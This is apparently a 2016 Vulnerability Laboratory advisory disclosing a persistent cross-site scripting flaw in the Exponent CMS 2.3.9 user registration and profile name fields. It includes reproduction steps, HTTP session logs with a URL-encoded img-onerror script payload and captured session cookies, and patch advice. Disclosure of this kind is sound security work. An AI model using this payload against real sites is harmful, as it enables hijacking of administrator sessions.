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Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability



Document Title:
===============
Exponent CMS 2.3.9 - Useraccounts Persistent Vulnerability


References (Source):
====================
http://www.vulnerability-lab.com/get_content.php?id=1886


Release Date:
=============
2016-07-27


Vulnerability Laboratory ID (VL-ID):
====================================
1886


Common Vulnerability Scoring System:
====================================
4.5


Product & Service Introduction:
===============================
Exponent is a web application that allows site owners to easily create and manage dynamic websites. Unlike other 
site management tools, Exponent is completely self-contained. No additional applications need to be downloaded 
by a user to permit them to use Exponent. Everything from user management to site configuration to content editing 
and approval is done within the system.

(Copy of the Vendor Homepage: http://www.exponentcms.org/ )


Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a persistent input validation vulnerability in the official Exponent v2.3.9 open-source content management system.



Vulnerability Disclosure Timeline:
==================================
2016-07-27:	Public Disclosure (Vulnerability Laboratory)


Discovery Status:
=================
Published


Affected Product(s):
====================
Exponent Community
Product: Exponent - Content Management System (Open Source) 2.3.9


Exploitation Technique:
=======================
Remote


Severity Level:
===============
Medium


Technical Details & Description:
================================
An application-side input validation web vulnerability has been discovered in the official Exponent v2.3.9 open-source content management system.
The vulnerability allows remote attackers to inject own malicious script codes on the application-side of the vulnerable module or affected function.

The vulnerability is located in the `firstname` and `lastname` parameters of the `useraccounts` module. The vulnerable inputs are `realname` and `user`.
Remote attackers are able to use the registration to inject own malicious script codes to the backend of the exponent web-application. The injection points 
are the vulnerable `createuser` and `umgr_editprofile` of the user manager and the execution point occurs in the `useraccounts` module. The request method 
to inject is POST and the attack vector is persistent on the application-side. The vulnerability can be exploited by local privileged user account or remotly 
by anonymous users via basic registration. The execute in the useraccounts module occurs on visit of the page module via backend by the administrator account.

The security risk of the application-side web vulnerability is estimated as medium with a cvss (common vulnerability scoring system) count of 4.7. 
Exploitation of the vulnerability requires a low privileged web-application user account (registration or create) and only low user interaction. 
Successful exploitation of the vulnerability results in session hijacking, persistent phishing attacks, persistent external redirects to malicious 
source and persistent manipulation of affected or connected application modules.

Request Method(s):
				[+] POST

Vulnerable Module(s):
				[+] createuser (basic user account)
				[+] umgr_editprofile (admin account)

Vulnerable Parameter(s):
				[+] firstname
				[+] lastname

Affected Module(s):
				[+] ./useraccounts


Proof of Concept (PoC):
=======================
The persistent input validation vulnerability can be exploited by remote attackers with privileged web-application user account and with low user interaction.
For security demonstration or to reproduce the vulnerability follow the provided information and steps below to continue.

Inject: Add or Register Account
URL: http://exponent_cms.localhost:8000/exponent/loginmodule/createuser/
URL: http://exponent_cms.localhost:8000/exponent/administrationmodule/umgr_editprofile/id/0/

Execution: User Accounts
URL: http://exponent_cms.localhost:8000/exponent/administrationmodule/useraccounts/


Manual steps to reproduce the vulnerability ...
1. Open the vulnerable cms website with the affected version
2. Surf to the user registration that is open by default
3. Include as realname and user name a script code payload  (firstname & lastname)
4. Save the registration via POST method request
Note: The user account arrives visible in the user accounts management of the exponent cms (admin backend)
5. Now the admin login to his application and only needs to watch the user accounts management to execute the payload
6. Successful reproduce of the vulnerability!


PoC: User Accounts Management Listing
<tbody id="dataTable">
<tr><td class="header administration_header"><a href="#" onclick="paginate.sort(&quot;0&quot;); return false;">Real Name</a>&nbsp;
<img id="sortCol_0" src="/exponent/themes/common/images/icons/sortdescending.png" <tr class="row even_row">
<td valign="top">[REALNAME PERSISTENT SCRIPT CODE EXECUTION!]</td><td valign="top">[USER PERSISTENT SCRIPT CODE EXECUTION!]</td>
<td valign="top">asdasdasda@xxxxxxxx</td><td valign="top"><a class="mngmntlink administration_mngmntlink" 
href="/exponent/index.php?module=administrationmodule&amp;action=umgr_edit&amp;id=4"><img class="mngmnt_icon" style="border:none;" 
src="/exponent/themes/common/images/icons/edit.png" title="" alt=""></a><a class="mngmntlink administration_mngmntlink" 
href="/exponent/index.php?module=administrationmodule&amp;action=umgr_delete&amp;id=4" 
onclick="return confirm('Are you sure you want to delete the user ' ">a<img class="mngmnt_icon" style="border:none;" 
src="/exponent/themes/common/images/icons/delete.png" title="" alt=""></a></td></tr>


--- PoC Session Logs [POST] ---
Status: 302[Found] 
POST http://exponent-cms.localhost:8000/exponent/index.php 
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   POST-Daten:
      id[1]
      module[loginmodule]
      action[saveprofile]
      firstname[[PERSISTENT SCRIPT CODE INJECT!]]
      lastname[+%22%3E%3C[PERSISTENT SCRIPT CODE INJECT!]%2823%29%3B%3E]
      email[hagbart2016%40235kwgfwkeokfg.com]
   Response Header:
      Server[nginx/1.2.1]
      Content-Type[text/html; charset=UTF-8]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 10:54:05 GMT; Max-Age=8640000; path=/]
      Location[http://exponent-cms.localhost:8000/exponent/]
-
Status: 302[Found]
 POST http://exponent-cms.localhost:8000/exponent/index.php
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   POST-Daten:
      id[1]
      module[loginmodule]
      action[saveprofile]
      firstname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
      lastname[+%22%3E++%22%3E%3Cimg+src%3Dx+onerror%3Dprompt%2823%29%3B%3E]
      email[opencms%40235kwgfwkeokfg.com]
-
Status: 200[OK]
GET http://exponent-cms.localhost:8000/exponent/loginmodule/createuser/x[PERSISTENT SCRIPT CODE EXECUTION!]
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/createuser/a]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Date[Tue, 26 Jul 2016 10:52:51 GMT]
      Content-Type[text/html; charset=UTF-8]
      Content-Length[4030]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 10:52:51 GMT; Max-Age=8640000; path=/]
-
Status: 200[OK]
GET http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/x[PERSISTENT SCRIPT CODE EXECUTION!]
Mime Type[text/html]
   Request Header:
      Host[exponent-cms.localhost:8000]
      User-Agent[Mozilla/5.0 (Windows NT 6.3; WOW64; rv:47.0) Gecko/20100101 Firefox/47.0]
      Accept[*/*]
      Accept-Language[de,en-US;q=0.7,en;q=0.3]
      Accept-Encoding[gzip, deflate]
      Referer[http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/x[PERSISTENT SCRIPT CODE EXECUTION!]]
      Cookie[__utma=87180614.1614609677.1469523897.1469523897.1469530273.2; __utmc=87180614; __utmz=87180614.1469523897.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); 
__gads=ID=232d61c73d3bc7a4:T=1469523920:S=ALNI_MaExh82o6B4-ZkR9_wPq7yzQP0g1A; fusion23Up5_visited=yes; _pk_id.2.bb5e=62061ddadaeb545e.1469523926.1.1469524924.1469523926.; 
_pk_ref.2.bb5e=%5B%22%22%2C%22%22%2C1469523926%2C%22http%3A%2F%2Fwww.235kwgfwkeokfg.com%2Fdemo%2F1%2F52%2FPHP-Fusion%22%5D; cat1234sessionid=n7sqh98pqq4clv9tfhmr0u1u60; 
PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; __utmb=87180614.3.10.1469530273; __utmt=1]
      Connection[keep-alive]
   Response Header:
      Server[nginx/1.2.1]
      Date[Tue, 26 Jul 2016 10:53:54 GMT]
      Content-Type[text/html; charset=UTF-8]
      Content-Length[4124]
      Connection[keep-alive]
      X-Powered-By[PHP/5.5.27-1+deb.sury.org~precise+1]
      Set-Cookie[PHPSESSID=e720qc68nh5ohs2cvjakq03ek4; expires=Thu, 03-Nov-2016 10:53:54 GMT; Max-Age=8640000; path=/]


Reference(s):
http://exponent-cms.localhost:8000/
http://exponent-cms.localhost:8000/exponent/
http://exponent-cms.localhost:8000/exponent/index.php
http://exponent-cms.localhost:8000/exponent/loginmodule/
http://exponent-cms.localhost:8000/exponent/loginmodule/editprofile/


Solution - Fix & Patch:
=======================
The vulnerability can be patched by a secure parse and encode of the vulnerable Username and Realname input fields.
Encode and parse the same in the registration and admin section to ensure no ability for the attack vector is granted.
Disallow the usage of special chars on the affected parameters and input fields of the user accounts management.
Parse in the user accounts management site the output values of the realname and name to prevent application-side 
attacks by registration of a basic user account.


Security Risk:
==============
The security risk of the application-side input validation vulnerability in the exponent cms web-application is estimated as medium. (CVSS 4.5)


Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri (bkm@xxxxxxxxxxxxxxxxx) [www.vulnerability-lab.com]


Disclaimer & Information:
=========================
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